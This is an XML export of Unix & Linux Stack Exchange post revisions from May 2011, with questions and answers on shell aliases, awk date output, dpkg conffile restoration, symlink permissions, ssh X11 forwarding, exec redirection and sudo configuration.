  <row Id="31329" PostHistoryTypeId="2" PostId="12763" RevisionGUID="dde3cf73-dafa-4456-8842-6748fa5162d7" CreationDate="2011-05-06T18:34:40.627" UserId="5325" Text="You can use `command` to get at the unaliased command, or just use a backslash:&#xD;&#xA;&#xD;&#xA;    % alias ls ls -a&#xD;&#xA;    % ls&#xD;&#xA;    # ls -a output here&#xD;&#xA;    % command ls&#xD;&#xA;    # plain ls output here&#xD;&#xA;    % \ls&#xD;&#xA;    # plain ls output here&#xD;&#xA;" />
  <row Id="31330" PostHistoryTypeId="2" PostId="12764" RevisionGUID="67318e32-9a34-45b9-abc9-7091c6490ab2" CreationDate="2011-05-06T18:35:13.683" UserId="1925" Text="Don't make aliases that clobber shell builtins. *Your life will be much easier*. There are plenty of key combinations left, try `cw` for your change window title alias :)" />
  <row Id="31331" PostHistoryTypeId="2" PostId="12765" RevisionGUID="4781878d-f19b-48d2-8d90-9393483a3203" CreationDate="2011-05-06T18:36:03.203" UserId="6771" Text="In an AWK script I am using a command&#xD;&#xA;system(date)&#xD;&#xA;to print the current date in a file but after this command is executed a next line is also added implicitly.Is there any way in AWK to print the current date without the new line being added so that whatever I print next comes in the same line.&#xD;&#xA;&#xD;&#xA;Thanks in advance...&#xD;&#xA;" />
  <row Id="31332" PostHistoryTypeId="1" PostId="12765" RevisionGUID="4781878d-f19b-48d2-8d90-9393483a3203" CreationDate="2011-05-06T18:36:03.203" UserId="6771" Text="using system command in awk script" />
  <row Id="31333" PostHistoryTypeId="3" PostId="12765" RevisionGUID="4781878d-f19b-48d2-8d90-9393483a3203" CreationDate="2011-05-06T18:36:03.203" UserId="6771" Text="élinuxàéscriptingà" />
  <row Id="31334" PostHistoryTypeId="5" PostId="12765" RevisionGUID="715700ea-6c78-4cd4-9ef1-a20628fc7bf8" CreationDate="2011-05-06T18:36:41.453" UserId="1925" Comment="deleted 17 characters in body" Text="In an AWK script I am using a command&#xD;&#xA;&#xD;&#xA;    system(date)&#xD;&#xA;&#xD;&#xA;to print the current date in a file but after this command is executed a next line is also added implicitly. Is there any way in AWK to print the current date without the new line being added so that whatever I print next comes in the same line?" />
  <row Id="31335" PostHistoryTypeId="5" PostId="12765" RevisionGUID="c112c6f8-8176-4837-a0d8-4c6a296dfe12" CreationDate="2011-05-06T18:49:11.447" UserId="6771" Comment="added 3 characters in body" Text="In an AWK script I am using a command  &#xD;&#xA;&#xD;&#xA;       system(date)&#xD;&#xA;&#xD;&#xA;to print the current date in a file but after this command is executed next line is also added implicitly. Is there any way in AWK to print the current date without the new line being added so that whatever I print next comes in the same line?" />
  <row Id="31336" PostHistoryTypeId="2" PostId="12766" RevisionGUID="2b35c7e7-ef9b-4714-a851-33617ea5108a" CreationDate="2011-05-06T18:59:00.523" UserId="885" Text="The `date` command adds a newline at the end of its output. You can read the output into awk and make it print without appending a newline.&#xD;&#xA;&#xD;&#xA;    &quot;date&quot; | getline date; printf &quot;%s&quot;, date&#xD;&#xA;&#xD;&#xA;Unless your script is long-running, you could alternatively obtain the date when you start your script.&#xD;&#xA;&#xD;&#xA;    awk -v date=&quot;$(date)&quot; '&#xD;&#xA;        … printf &quot;%s&quot;, date …&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="31337" PostHistoryTypeId="6" PostId="12765" RevisionGUID="3829f5b2-5243-4089-a8f9-f746d85eb737" CreationDate="2011-05-06T18:59:27.697" UserId="885" Comment="edited tags" Text="éioöredirectionàéawkàédateà" />
  <row Id="31338" PostHistoryTypeId="5" PostId="12764" RevisionGUID="6edb65e7-bdf0-4050-b4e4-3bb45cf81384" CreationDate="2011-05-06T19:31:36.233" UserId="1925" Comment="added 355 characters in body" Text="Don't make aliases that clobber shell builtins. *Your life will be much easier*. There are plenty of key combinations left, try `cw` for your change window title alias :)&#xD;&#xA;&#xD;&#xA;**Edit:** Two step solution for fixing alias that aren't yours:&#xD;&#xA;&#xD;&#xA;1. Find the monkey who aliased `cd` to something other than the change-directory command and request his transfer to the oped column of the local paper. He shouldn't be holding a job where he can force ideas like that one onto other people's shells!&#xD;&#xA;1. `echo unalias cd &gt;&gt; ~/.bashrc`" />
  <row Id="31339" PostHistoryTypeId="5" PostId="12748" RevisionGUID="bb8b9292-aa89-44b3-97e8-98d1e3a450c5" CreationDate="2011-05-06T19:35:02.577" UserId="4671" Comment="added 138 characters in body; added 136 characters in body" Text="(I'm following up on [Caleb's answer][1], though most of the relevant information will be in the comments already. I figure a summary might be more convenient than having to look through the comments.)&#xD;&#xA;&#xD;&#xA;So, the issue, as described in Caleb's post, was that Alexander deleted (or possibly modified)`/etc/init.d/apache2` and wanted to get it back. This file is in `apache-2.2-common`. The obvious `apt-get install --reinstall apache2.2-common` doesn't restore the file, though. The reason for this, per Debian policy, is that config files are not touched by the system once they have altered, unless explicitly asked by the user. See [Debian Policy on config file handling: Section 10.7.3](http://www.debian.org/doc/debian-policy/ch-files.html#s10.7.3). Quote:&#xD;&#xA;&#xD;&#xA;&gt; Configuration file handling must conform to the following behavior:&#xD;&#xA;&#xD;&#xA;&gt; 1. local changes must be preserved during&#xD;&#xA;&gt; a package upgrade, and&#xD;&#xA;&#xD;&#xA;&gt; 2. configuration files must be&#xD;&#xA;&gt;    preserved&#xD;&#xA;&gt;    when the package is removed, and only&#xD;&#xA;&gt;    deleted when the package is purged.&#xD;&#xA;&#xD;&#xA;Packages additions and removals are handled by [dpkg](http://packages.qa.debian.org/d/dpkg.html). dpkg distinguishes cases here, when the file is modified, and when it has been completely removed. See the section in the options section starting with `--force-things` in the [dpkg man page](http://manpages.ubuntu.com/manpages/natty/man1/dpkg.1.html). (Linking to Ubuntu's dpkg 1.16 page, because I could not find the Debian squeeze man pages online. If you have a pointer, please comment.)&#xD;&#xA;&#xD;&#xA;So for the two situations&#xD;&#xA;&#xD;&#xA; 1. If you want conf files that have&#xD;&#xA;    been removed to be replaced by&#xD;&#xA;    reinstallation, you need to pass the&#xD;&#xA;    `--force-confmiss` option to dpkg.&#xD;&#xA;&#xD;&#xA; 2. If you want conf files that have&#xD;&#xA;    been altered, but not removed, to be&#xD;&#xA;    replaced by their default version on&#xD;&#xA;    installation, you need to pass both&#xD;&#xA;    the `--force-confnew` and&#xD;&#xA;    `--force-confask` options to dpkg.&#xD;&#xA;    As the man page explains, --force-confnew&#xD;&#xA;    by itself will only replace the modified&#xD;&#xA;    conf file with the default in cases when&#xD;&#xA;    the default is newer than the originally&#xD;&#xA;    installed default, i.e. on an upgrade. &#xD;&#xA;&#xD;&#xA;If we are invoking dpkg via apt, we need to pass these options to apt. This is done as follows for the two cases above :&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confmiss&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confnew&quot; -o Dpkg::Options::=&quot;--force-confask&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;I could not find any documentation for `Dpkg::Options`. I found it by Googling. If you know of any, please comment.&#xD;&#xA;&#xD;&#xA;Comments:&#xD;&#xA;&#xD;&#xA; 1. I think if you are faced with a&#xD;&#xA;    situation where you have messed up a&#xD;&#xA;    config file and want to back, it is&#xD;&#xA;    safer to rename it, and then use&#xD;&#xA;    `--force-confmiss` rather than&#xD;&#xA;    asking for all your local&#xD;&#xA;    modifications to be replaced by the&#xD;&#xA;    default per `--force-confnew`, which&#xD;&#xA;    is in general not what you want.&#xD;&#xA;&#xD;&#xA; 2. If working with config files, always&#xD;&#xA;    keep them under version control.&#xD;&#xA;    This would make the issues of messed&#xD;&#xA;    up config files moot. I use and&#xD;&#xA;    recommend&#xD;&#xA;    [mercurial](http://mercurial.selenic.com/wiki/).&#xD;&#xA;    In this case (and probably any case&#xD;&#xA;    :-)), you are better off in this&#xD;&#xA;    context using distributed version&#xD;&#xA;    control than a centralized version&#xD;&#xA;    control system like&#xD;&#xA;    [subversion](http://subversion.apache.org/).&#xD;&#xA;&#xD;&#xA; 3. It is also worth mentioning, and&#xD;&#xA;    might have contributed to the&#xD;&#xA;    confusion here, that with apt in&#xD;&#xA;    squeeze, `apache2.2-common` does&#xD;&#xA;    not uninstall cleanly, because of&#xD;&#xA;    [apt bug&#xD;&#xA;    621720](http://bugs.debian.org/621720),&#xD;&#xA;    which coincidentally covers the&#xD;&#xA;    case of `apache2.2-common` removal.&#xD;&#xA;    Per the bug report you will need to use `apt-get&#xD;&#xA;    remove apache2.2-common -o&#xD;&#xA;    pkgProblemResolver::FixByInstall=0`&#xD;&#xA;    (verified by me).&#xD;&#xA;&#xD;&#xA; 4. See [Everything you need to know&#xD;&#xA;    about conffiles: configuration files&#xD;&#xA;    managed by&#xD;&#xA;    dpkg](http://raphaelhertzog.com/2010/09/21/debian-conffile-configuration-file-managed-by-dpkg/)&#xD;&#xA;    for a discussion of dpkg's config&#xD;&#xA;    file handling by [Raphaël&#xD;&#xA;    Hertzog](http://raphaelhertzog.com/about-me/),&#xD;&#xA;    one of dpkg's developers. He&#xD;&#xA;    mentions that `--force-confask` is&#xD;&#xA;    new in Squeeze. He also mentions that&#xD;&#xA;&#xD;&#xA;        dpkg --status apache2.2-common&#xD;&#xA;   &#xD;&#xA;    gives the list of conffiles,&#xD;&#xA;    along with other information. or just &#xD;&#xA;&#xD;&#xA;        dpkg-query --showformat='${Conffiles}\n' --show apache2.2-common&#xD;&#xA;    &#xD;&#xA;    if you only want that information.&#xD;&#xA;     &#xD;&#xA;Thanks to David Kalnischkies and Raphaël Hertzog for answering my questions about this (and telling me I was posting to the wrong mailing list). I think the Debian documentation in this context could be improved, and specifically, the dpkg man page could do with additional usage examples. I encourage people here (who are obviously willing to help out) to also take time to contribute documentation patches to free software projects like Debian. It is valuable work and there are not enough people doing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12597/missing-init-d-apache2-file/12598#12598" />
  <row Id="31340" PostHistoryTypeId="5" PostId="12763" RevisionGUID="1c8bab11-6725-4bc7-a796-c93b2f5c6325" CreationDate="2011-05-06T19:36:17.010" UserId="5325" Comment="mmm, csh consistency.  NOT." Text="You can use a backslash:&#xD;&#xA;&#xD;&#xA;    % alias ls ls -a&#xD;&#xA;    % ls&#xD;&#xA;    # ls -a output here&#xD;&#xA;    % \ls&#xD;&#xA;    # plain ls output here&#xD;&#xA;&#xD;&#xA;For shell builtins, there turns out to be a gotcha:  a leading backslash prevents both aliases and builtins from being used, but an internal backslash suppresses aliasing only.&#xD;&#xA;&#xD;&#xA;    % alias cd pushd&#xD;&#xA;    % cd /tmp&#xD;&#xA;    /tmp /tmp &#xD;&#xA;    % c\d&#xD;&#xA;    % dirs&#xD;&#xA;    ~ /tmp&#xD;&#xA;&#xD;&#xA;(I'm tempted to call that another argument against using the `csh` family of shells.)" />
  <row Id="31341" PostHistoryTypeId="2" PostId="12767" RevisionGUID="4f7ffef3-f893-4970-b217-a15b50d52e8d" CreationDate="2011-05-06T19:38:53.227" UserId="6234" Text="I typically unmount my USB drive (using `umount`)  from `/dev/sdb1` before I shutdown my computer but if I shut it down using `shutdown -P now` and then restart it, the drive is no longer mounted. &#xD;&#xA;&#xD;&#xA;Is this a safe way to unmount the drive?&#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="31342" PostHistoryTypeId="1" PostId="12767" RevisionGUID="4f7ffef3-f893-4970-b217-a15b50d52e8d" CreationDate="2011-05-06T19:38:53.227" UserId="6234" Text="Does `shutdown -P now` safely unmount a USB drive mounted to `/dev/sdb1`?" />
  <row Id="31343" PostHistoryTypeId="3" PostId="12767" RevisionGUID="4f7ffef3-f893-4970-b217-a15b50d52e8d" CreationDate="2011-05-06T19:38:53.227" UserId="6234" Text="émountàéshutdownà" />
  <row Id="31344" PostHistoryTypeId="2" PostId="12768" RevisionGUID="b3a96b96-24fd-4ec6-87bf-4318f5900558" CreationDate="2011-05-06T19:40:12.313" UserId="5325" Text="Yes, all mounted drives are automatically unmounted during shutdown." />
  <row Id="31345" PostHistoryTypeId="2" PostId="12769" RevisionGUID="bc8607ee-b794-48e1-ad41-73a71a5ff627" CreationDate="2011-05-06T19:41:56.420" UserId="4531" Text="I have access to a remote Linux machine where everytime I create a symbolic link, it is created by default with the following permissions: `lrwxrwxrwx`&#xD;&#xA;&#xD;&#xA;If I try to change the permissions of the symbolic link (i.e. not the path that it points to) using for example:&#xD;&#xA;&#xD;&#xA;    chmod g-w my_symbolic_link&#xD;&#xA;&#xD;&#xA;`chmod` runs correctly (not error message is printed) but when I check the permissions again, they are still the same (`lrwxrwxrwx`).&#xD;&#xA;&#xD;&#xA;I am waiting to hear from the machine administrator, but I was wondering if this is normal behavior, or if it is something specific to the box.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31346" PostHistoryTypeId="1" PostId="12769" RevisionGUID="bc8607ee-b794-48e1-ad41-73a71a5ff627" CreationDate="2011-05-06T19:41:56.420" UserId="4531" Text="Symbolic link permissions" />
  <row Id="31347" PostHistoryTypeId="3" PostId="12769" RevisionGUID="bc8607ee-b794-48e1-ad41-73a71a5ff627" CreationDate="2011-05-06T19:41:56.420" UserId="4531" Text="épermissionsàésymlinkà" />
  <row Id="31348" PostHistoryTypeId="2" PostId="12770" RevisionGUID="41b945d2-5924-4d26-8e3f-fc63464da6ea" CreationDate="2011-05-06T19:45:09.923" UserId="5325" Text="It's normal behavior.  What happens can vary depending on the operating system (Solaris at least used to change the link permissions); but since a symlink isn't a normal file, the permissions don't actually get used for anything.  (File permissions are part of the file's inode, so the symlink can't affect them.)" />
  <row Id="31349" PostHistoryTypeId="2" PostId="12771" RevisionGUID="034c0449-3f92-42d1-b6ba-f202ce99a69d" CreationDate="2011-05-06T20:18:37.483" UserId="6352" Text="Installing Java is easy, just dump the jdk to /usr/local or /opt and then modify your `PATH` as you said. Personally, I would remove the old java path entirely, but that's me. I usually put it in /usr/local and then symlink it to a generic name, like simply **jdk** or similar, that way when I upgrade it I don't have to change anything that depends on the package. I only need to delete the symlink and recreate it to point to the new version. &#xD;&#xA;&#xD;&#xA;I suspect you'll have other environment variables you'll need to modify in order for development to move forward. `JAVA_LIB` is a common environment variable, which would be set to the lib directory under the jdk, naturally. &#xD;&#xA;&#xD;&#xA;Also, you said in your post &quot;update *my* path&quot;, did you mean your personal `PATH` variable or did you mean the system wide settings ?? I only ask because if you modify *your* path the developer will not pick up the change in *his* `PATH`, if you're using separate logins. &#xD;&#xA;&#xD;&#xA;As to the question of why anyone would follow that wiki page, I would hope no one would. It's 4 years old and hasn't been maintained since then according to the page. &#xD;&#xA;&#xD;&#xA;All that being said, I'm sure that java is provided by your package manager (yum or what have you) and I would suggest that you go that route and let the system handle the installation for you if it can be done. &#xD;&#xA;" />
  <row Id="31350" PostHistoryTypeId="2" PostId="12772" RevisionGUID="068cdbac-d59f-441e-b3ee-653e775e3cad" CreationDate="2011-05-06T20:26:00.933" UserId="885" Text="X11 forwarding needs to be enabled on both the client side and the server side.&#xD;&#xA;&#xD;&#xA;On the client side, the `-X` (capital X) option to `ssh` enables X11 forwarding, and you can make this the default (for all connections or for a specific conection) with `ForwardX11 yes` in [`~/.ssh/config`](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config&amp;sektion=5).&#xD;&#xA;&#xD;&#xA;On the server side, `X11Forwarding yes` must specified in [`/etc/ssh/sshd_config`](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config&amp;sektion=5). Note that the default is no forwarding (some distributions turn it on in their default `/etc/ssh/sshd_config`), and that the user cannot override this setting.&#xD;&#xA;&#xD;&#xA;The `xauth` program must be installed on the server side. If there are any X11 programs there, it's very likely that `xauth` will be there. In the unlikely case `xauth` was installed in a nonstandard location, it can be called through [`~/.ssh/rc`](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8#SSHRC) (on the server!).&#xD;&#xA;&#xD;&#xA;Note that you do not need to set any environment variables on the server. `DISPLAY` and `XAUTHORITY` will automatically be set to their proper values. If you run ssh and `DISPLAY` is not set, it means ssh is not forwarding the X11 connection.&#xD;&#xA;&#xD;&#xA;To confirm that ssh is forwarding X11, check for a line containing `Requesting X11 forwarding` in the `ssh -v -X` output. Note that the server won't reply either way.&#xD;&#xA;" />
  <row Id="31351" PostHistoryTypeId="6" PostId="12755" RevisionGUID="0f014540-b82a-4a42-b6e7-73dd6710438f" CreationDate="2011-05-06T20:26:36.330" UserId="885" Comment="edited tags" Text="ésshàéxorgàéxforwardingà" />
  <row Id="31352" PostHistoryTypeId="5" PostId="12769" RevisionGUID="692c7d9c-9b96-45de-8734-ccba49b4624f" CreationDate="2011-05-06T20:27:18.517" UserId="4531" Comment="deleted 1 characters in body" Text="I have access to a remote Linux machine where everytime I create a symbolic link, it is created by default with the following permissions: `lrwxrwxrwx`&#xD;&#xA;&#xD;&#xA;If I try to change the permissions of the symbolic link (i.e. not the path that it points to) using for example:&#xD;&#xA;&#xD;&#xA;    chmod g-w my_symbolic_link&#xD;&#xA;&#xD;&#xA;`chmod` runs correctly (no error message is printed) but when I check the permissions again, they are still the same (`lrwxrwxrwx`).&#xD;&#xA;&#xD;&#xA;I am waiting to hear from the machine administrator, but I was wondering if this is normal behavior, or if it is something specific to the box.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31353" PostHistoryTypeId="5" PostId="8488" RevisionGUID="418bc4e0-2099-43ae-867e-21dfc62431d0" CreationDate="2011-05-06T20:30:04.177" UserId="4520" Comment="Minor correction." Text="What you are seeing when you rerun a du command is the effect of disk buffering.  Once you read a block its disk buffer is kept in the buffer cache until that block is needed.  For du you need to read the directory and the inode for each file in the directory.  The du results are not cached in this case, but can be derived with far less disk IO.&#xD;&#xA;&#xD;&#xA;While it would be possible to force the system to cache this information, overall performance would suffer as the required buffer space would not be available for actively accessed files.&#xD;&#xA;&#xD;&#xA;The directory itself has no idea how large a file is, so each file's inode needs to be accessed.  To keep the cached value up to date every time a file changed size the cached value would need to be updated.  As a file can be listed in 0 or more directories this would require each file's inode to know which directories it is listed in. This would greatly complicate the inode structure and reduce IO performance.  Also as du allows you to get results assuming different block sizes, the data required in the cache would need to increment or decrement the cached value for each possible block size further slowing performance. " />
  <row Id="31355" PostHistoryTypeId="6" PostId="12757" RevisionGUID="0eb7d7df-dc89-41b8-a5f4-7d417b0c0ce2" CreationDate="2011-05-06T20:46:16.977" UserId="885" Comment="edited tags" Text="élinuxàébackupàéhardödiskà" />
  <row Id="31356" PostHistoryTypeId="6" PostId="12746" RevisionGUID="2213161d-daf4-4cf1-9cb8-1db7ecbc2220" CreationDate="2011-05-06T20:46:35.260" UserId="885" Comment="edited tags" Text="élinuxàélimitàésemaphoreàéipcà" />
  <row Id="31357" PostHistoryTypeId="25" PostId="12769" RevisionGUID="d4c6d172-dc57-4522-81b6-1448c547d6e7" CreationDate="2011-05-06T21:11:28.773" Comment="http://twitter.com/#!/StackUnix/status/66611060232290304" />
  <row Id="31358" PostHistoryTypeId="2" PostId="12773" RevisionGUID="931e6aab-5369-4c96-918c-70eff001ce46" CreationDate="2011-05-06T21:26:52.653" UserId="7136" Text="There's a few ways to do this. In my opinion the easiest way is to use a LiveCD Linux distribution to &quot;clone&quot; the hard drive. I have always liked [Clonezilla][1], which supports a variety of filesystems and can do both whole disk clones or individual partitions. It also can image or clone a drive off of a network share, which is very handy at times. For supported filesystems (extX, reiserfs, reiser4, xfs, jfs, FAT, NTFS, HFS+ and BSD's UFS) it will only clone or image the used blocks, which can save you quite a  bit of time. For unsupported filesystem it will revert to using dd for a sector-by-sector clone or image.&#xD;&#xA;&#xD;&#xA;Another option is just use dd by itself... something along these [lines][2]. I believe you could also use rsync and tar with some scripting glue as well, but personally I think that a purpose-built LiveCD distro like Clonezilla will probably serve you better. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://clonezilla.org/&#xD;&#xA;  [2]: http://www.backuphowto.info/linux-backup-hard-disk-clone-dd" />
  <row Id="31359" PostHistoryTypeId="5" PostId="12767" RevisionGUID="da89133b-d1e1-498b-8f60-29c7a4ea5e19" CreationDate="2011-05-06T21:39:05.843" UserId="1925" Comment="deleted 11 characters in body" Text="I typically unmount my USB drive (using `umount`)  from `/dev/sdb1` before I shutdown my computer but if I shut it down using `shutdown -P now` and then restart it, the drive is no longer mounted. &#xD;&#xA;&#xD;&#xA;Is this a safe way to unmount the drive?" />
  <row Id="31360" PostHistoryTypeId="5" PostId="11605" RevisionGUID="63cde9d9-13b4-49ff-a484-73d66c3c6a2f" CreationDate="2011-05-06T22:01:49.627" UserId="3169" Comment="added 428 characters in body" Text="Normally you would be able to use [statvfs](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/statvfs.h.html) or [pathconf](http://pubs.opengroup.org/onlinepubs/009695399/functions/pathconf.html), but they don't seem to support any way to find out that piece of information.&#xD;&#xA;&#xD;&#xA;Apparently such a feature is [being discussed](http://www.opengroup.org/austin/docs/austin_362.txt) for a future POSIX standard&#xD;&#xA;&#xD;&#xA;&gt; we will also file some aardvarks for a pathconf enhancement&#xD;&#xA;to return the granularity of timestamps on a per path basis.&#xD;&#xA;&#xD;&#xA;Unfortunately, I can't see any clean way to do that today, not even in an OS-specific manner.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Any approach that tries to build a list of file systems and whether it supports sub-second resolution is dangerous.  For example, `ext4` seems to support nanosecond resolution if the inodes are 256 bytes, but not if they are 128 bytes.&#xD;&#xA;&#xD;&#xA;Compiling a comprehensive and accurate list would be hard, may require root access, and it might change tomorrow.  Which sounds harder than just running `stat` a few times to me." />
  <row Id="31361" PostHistoryTypeId="2" PostId="12774" RevisionGUID="b88a9f4f-6615-47df-81f9-c5acecf71091" CreationDate="2011-05-06T22:12:46.570" UserId="4671" Text="Here is a script from [Mercurial issue 2743](http://mercurial.selenic.com/bts/issue2743). Call it `mq.sh`. I'm trying to get it to do the following things, on Debian squeeze.&#xD;&#xA;&#xD;&#xA; 1. Echo commands + standard output +&#xD;&#xA;    standard error to a file.&#xD;&#xA;&#xD;&#xA; 2. Prefix with working directory.&#xD;&#xA;    Sticking in $PWD doesn't work,&#xD;&#xA;    as it presumably just keeps using&#xD;&#xA;    the value from when it was first     &#xD;&#xA;    sourced.&#xD;&#xA;&#xD;&#xA; 3. Reset redirection back to normal&#xD;&#xA;    standard output/error at the end.&#xD;&#xA;    I'm not sure how to do this, but I&#xD;&#xA;    imagine I'd have to use `exec`&#xD;&#xA;    again.&#xD;&#xA;&#xD;&#xA; 4. I'm calling this with `sh mq.sh`.&#xD;&#xA;    I'd like to do everything portably&#xD;&#xA;    (if possible),&#xD;&#xA;    and it seems exec is bash-specific,&#xD;&#xA;    so I'm puzzled why this is working.&#xD;&#xA;    Also `set -x xtrace` is probably bash&#xD;&#xA;    specific as well. I got it from the&#xD;&#xA;    Bash reference manual. Doesn't calling&#xD;&#xA;    with `sh` run everything through `dash`&#xD;&#xA;    on Debian?&#xD;&#xA;&#xD;&#xA;1 currently works, I think. How do I do 2 and 3?&#xD;&#xA;And can I have a clarification on 4?&#xD;&#xA;&#xD;&#xA;    export PS4=&quot;$PWD$ &quot;&#xD;&#xA;    exec &gt; mq.log 2&gt;&amp;1&#xD;&#xA;    export HG=&quot;hg-crew&quot;&#xD;&#xA;    rm -r main clone&#xD;&#xA;&#xD;&#xA;    set -o xtrace&#xD;&#xA;    $HG init main&#xD;&#xA;    cd main&#xD;&#xA;    $HG init --mq&#xD;&#xA;    $HG qnew foo&#xD;&#xA;    echo a &gt; a&#xD;&#xA;    $HG add&#xD;&#xA;    $HG qref&#xD;&#xA;    $HG ci --mq -Am.&#xD;&#xA;    cd ..&#xD;&#xA;    $HG qclone main clone&#xD;&#xA;    cd clone&#xD;&#xA;    $HG paths --mq&#xD;&#xA;    mv .hg/patches/.hg/hgrc{,.foo}&#xD;&#xA;    $HG paths --mq&#xD;&#xA;    $HG push --mq&#xD;&#xA;    echo b &gt;&gt; a&#xD;&#xA;    $HG qref&#xD;&#xA;    $HG ci --mq -m.&#xD;&#xA;    mv .hg/patches/.hg/hgrc.foo .hg/patches/.hg/hgrc&#xD;&#xA;    $HG push --mq&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;" />
  <row Id="31362" PostHistoryTypeId="1" PostId="12774" RevisionGUID="b88a9f4f-6615-47df-81f9-c5acecf71091" CreationDate="2011-05-06T22:12:46.570" UserId="4671" Text="writing a command transcript to file" />
  <row Id="31363" PostHistoryTypeId="3" PostId="12774" RevisionGUID="b88a9f4f-6615-47df-81f9-c5acecf71091" CreationDate="2011-05-06T22:12:46.570" UserId="4671" Text="ébashàéshellàéshellöscriptàéioöredirectionà" />
  <row Id="31364" PostHistoryTypeId="2" PostId="12775" RevisionGUID="3973235f-89ca-4a43-8399-8c5402631690" CreationDate="2011-05-06T22:22:26.977" UserId="5325" Text="`exec` for file descriptors and `set -x` are portable; `xtrace` is not, but should actually be the same thing as `-x`.&#xD;&#xA;&#xD;&#xA;To save and restore file descriptors, you do indeed use `exec` again.  You need to pick some unused descriptors, which usually means anything over 2, and redirect the originals to those, then redirect back at the end.&#xD;&#xA;&#xD;&#xA;    exec 20&lt;&amp;0 21&gt;&amp;1 22&gt;&amp;2&#xD;&#xA;    # do your redirections&#xD;&#xA;    # do whatever you wanted to have redirected&#xD;&#xA;    exec &lt;&amp;20 &gt;&amp;21 2&gt;&amp;22 20&lt;&amp;- 21&gt;&amp;- 22&gt;&amp;-&#xD;&#xA;&#xD;&#xA;The last line first `dup()`s the saved file descriptors back where they came from, then closes (`&amp;-`) the copies.  The closes are probably unnecessary but a good idea.&#xD;&#xA;&#xD;&#xA;Also note that, if this is being run in its own shell, the redirections go away when the shell does.  You would only need to undo the redirection if you were using `.` (portable) or `source` (`bash`)." />
  <row Id="31365" PostHistoryTypeId="5" PostId="12014" RevisionGUID="06cc5a60-3af3-48c3-8746-e33860305afc" CreationDate="2011-05-06T22:41:03.117" UserId="3169" Comment="added 57 characters in body" Text="I just tried `nano`, and what I found most surprising is it doesn't even warn you that the file is read-only when you start trying to edit the file.  (_UPDATE: Apparently nano 2.2 does warn; 2.0 doesn't._)&#xD;&#xA;&#xD;&#xA;Here's a (basic) script that does that.&#xD;&#xA;&#xD;&#xA;It checks if you can edit the file, and if you can't, it runs &quot;nano&quot; as root instead.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/edit** (or **~/bin/edit**)&#xD;&#xA;&#xD;&#xA;    sudo=                       # empty is false, non-empty is true&#xD;&#xA;    editor=nano                 # XXX check $EDITOR and $VISUAL&#xD;&#xA;&#xD;&#xA;    if test -e &quot;$1&quot; &amp;&amp; test ! -w &quot;$1&quot;; then&#xD;&#xA;        if test -t 0 &amp;&amp; test -t 2; then&#xD;&#xA;            printf &quot;%s is not writable.  Edit with sudo? [y/n] &quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            read -n 1&#xD;&#xA;            case $REPLY in&#xD;&#xA;            y|Y)&#xD;&#xA;                sudo=true&#xD;&#xA;                ;;&#xD;&#xA;            n|N)&#xD;&#xA;                sudo=&#xD;&#xA;                ;;&#xD;&#xA;            *)&#xD;&#xA;                printf &quot;\nExpected y or n.  Exiting.\n&quot; 1&gt;&amp;2&#xD;&#xA;                exit 1&#xD;&#xA;                ;;&#xD;&#xA;            esac&#xD;&#xA;        else&#xD;&#xA;            printf &quot;%s is not writable.  Fix the permissions or run \&quot;view\&quot; instead.&quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ${sudo:+sudo} &quot;$editor&quot; &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;And a command I called `view` so that you can avoid the prompt if you know you aren't going to make any changes.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/view** (or **~/bin/view**)&#xD;&#xA;&#xD;&#xA;    editor=nano&#xD;&#xA;    readonlyflag=-v&#xD;&#xA;&#xD;&#xA;    &quot;$editor&quot; $readonlyflag &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;There's already a program called `view` that's part of Vi/Vim, so feel free to suggest a better name.  &#xD;&#xA;(But I think a full implementation of this program would make Vi's `view` redundant.)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Full versions&#xD;&#xA;&#xD;&#xA;  * https://github.com/mikelward/scripts/blob/master/edit&#xD;&#xA;  * https://github.com/mikelward/scripts/blob/master/view" />
  <row Id="31366" PostHistoryTypeId="2" PostId="12776" RevisionGUID="a4121678-8472-4851-aaeb-4f67442956ac" CreationDate="2011-05-06T22:42:11.610" UserId="5462" Text="`man sudoers` on Debian mentions another possibility. Not sure which way around you want, but your question sounds like you would want to have the `env_reset` option from `/etc/sudoers` - the opposite is basically the `env_keep` list. In order to set the proper `HOME` you can use the `-H` option to `sudo` directly or, again in `sudoers`, with the `always_set_home` option.&#xD;&#xA;&#xD;&#xA;Alternatively you could use `env_file` to specify an *exact* environment you want to pass. However, I think it is best if you check out the `env_*` options from `man sudoers`, because `/etc/sudoers` controls it all and that's the point to turn to.&#xD;&#xA;&#xD;&#xA;Here's part of the context in which I use `env_reset` inside my `sudoers` file:&#xD;&#xA;&#xD;&#xA;    Defaults        !lecture&#xD;&#xA;    Defaults        env_reset&#xD;&#xA;    Defaults        syslog=auth&#xD;&#xA;    Defaults        log_year&#xD;&#xA;&#xD;&#xA;" />
